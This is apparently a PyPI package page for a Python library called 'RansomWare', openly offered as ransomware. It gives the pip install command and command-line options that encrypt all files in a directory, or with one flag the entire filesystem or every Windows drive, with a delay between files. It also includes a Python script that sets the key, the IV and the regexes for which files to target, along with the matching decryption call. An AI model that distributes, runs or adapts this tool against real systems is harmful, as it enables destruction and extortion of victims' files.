This package implement a RansomWare.
Project description
RansomWare
Description
This package implement a RansomWare.
Requirements
This package require :
- python3
- python3 Standard Library
Installation
pip install RansomWare
Launcher
Command line:
RansomWare aaa # Crypt all files in current directory and subdirectories with XOR and key aaa
RansomWare -t 56 aaa # Crypt all files in current directory and subdirectories with XOR and key aaa and sleep 56 secondes between file.
RansomWare -e 64 YWFh # Crypt all files in current directory and subdirectories with XOR and key aaa (encoded with base64)
RansomWare -d dir aaa # Crypt all files in dir and subdirectories with XOR and key aaa
RansomWare -a aaa # Encrypt all files on Windows this argument encrypt "A:\", "B:\", "C:\", ... "Z:\". On Linux this argument replace directory by "/".
Python script
from RansomWare import RansomWare
def get_IV(filename: str) -> bytes:
""" This function return my custom IV. """
return filename.encode()
def crypt(key: bytes, data:bytes) -> bytes:
""" This function encrypt data with key. """
return bytes([(car + key[i % len(key)]) % 256 for i, car in enumerate(data)])
def decrypt(key: bytes, data:bytes) -> bytes:
""" This function decrypt data with key. """
return bytes([(car - key[i % len(key)]) % 256 for i, car in enumerate(data)])
cryptolocker = RansomWare(
b"aaa", # Key
function_encrypt = crypt, # function to encrypt from key and data
function_IV = get_IV, # function to get IV from filename
directory = "dir", # directory to encrypt
timeBetweenCrypt = 5, # time to sleep between encrypt files
regexs_filename_to_encrypt = [".*txt", ".*ini"], # encrypt file if filename match with this regex
regexs_filename_dont_encrypt = ["^/bin.*"], # don't encrypt file if filename match with this regex
)
cryptolocker.launch()
unlock = RansomWare(
b"aaa", # Key
function_encrypt = decrypt, # function to decrypt from key and data
function_IV = get_IV, # function to get IV from filename
directory = "dir", # directory to decrypt
timeBetweenCrypt = 5, # time to sleep between decrypt files
regexs_filename_to_encrypt = [".*txt", ".*ini"], # decrypt file if filename match with this regex
regexs_filename_dont_encrypt = ["^/bin.*"], # don't decrypt file if filename match with this regex
)
unlock.launch()
Python executable:
python3 RansomWare.pyz -t 5 -d dir -e 64 YWFh
# OR
chmod u+x RansomWare.pyz # add execute rights
./RansomWare.pyz aaa # execute file
Python module (command line):
python3 -m RansomWare aaa
python3 -m RansomWare.RansomWare -t 5 -d dir -e 64 YWFh
Links
Licence
Licensed under the GPL, version 3.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
RansomWare-0.0.1.tar.gz
(17.2 kB
view details)
File details
Details for the file RansomWare-0.0.1.tar.gz
.
File metadata
- Download URL: RansomWare-0.0.1.tar.gz
- Upload date:
- Size: 17.2 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.2.0 pkginfo/1.6.1 requests/2.25.0 setuptools/52.0.0 requests-toolbelt/0.9.1 tqdm/4.54.1 CPython/3.9.1+
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 02d58496e96147119823c36a4c280ea88e23580eb86aa79f7336925eae6a4d37 |
|
MD5 | 39a0d4f5dfd7370eeaa52546e8256340 |
|
BLAKE2b-256 | 944dd405a05b3d76a938c24a876e97b80ed51974d2951a3ead0df892cdb4b203 |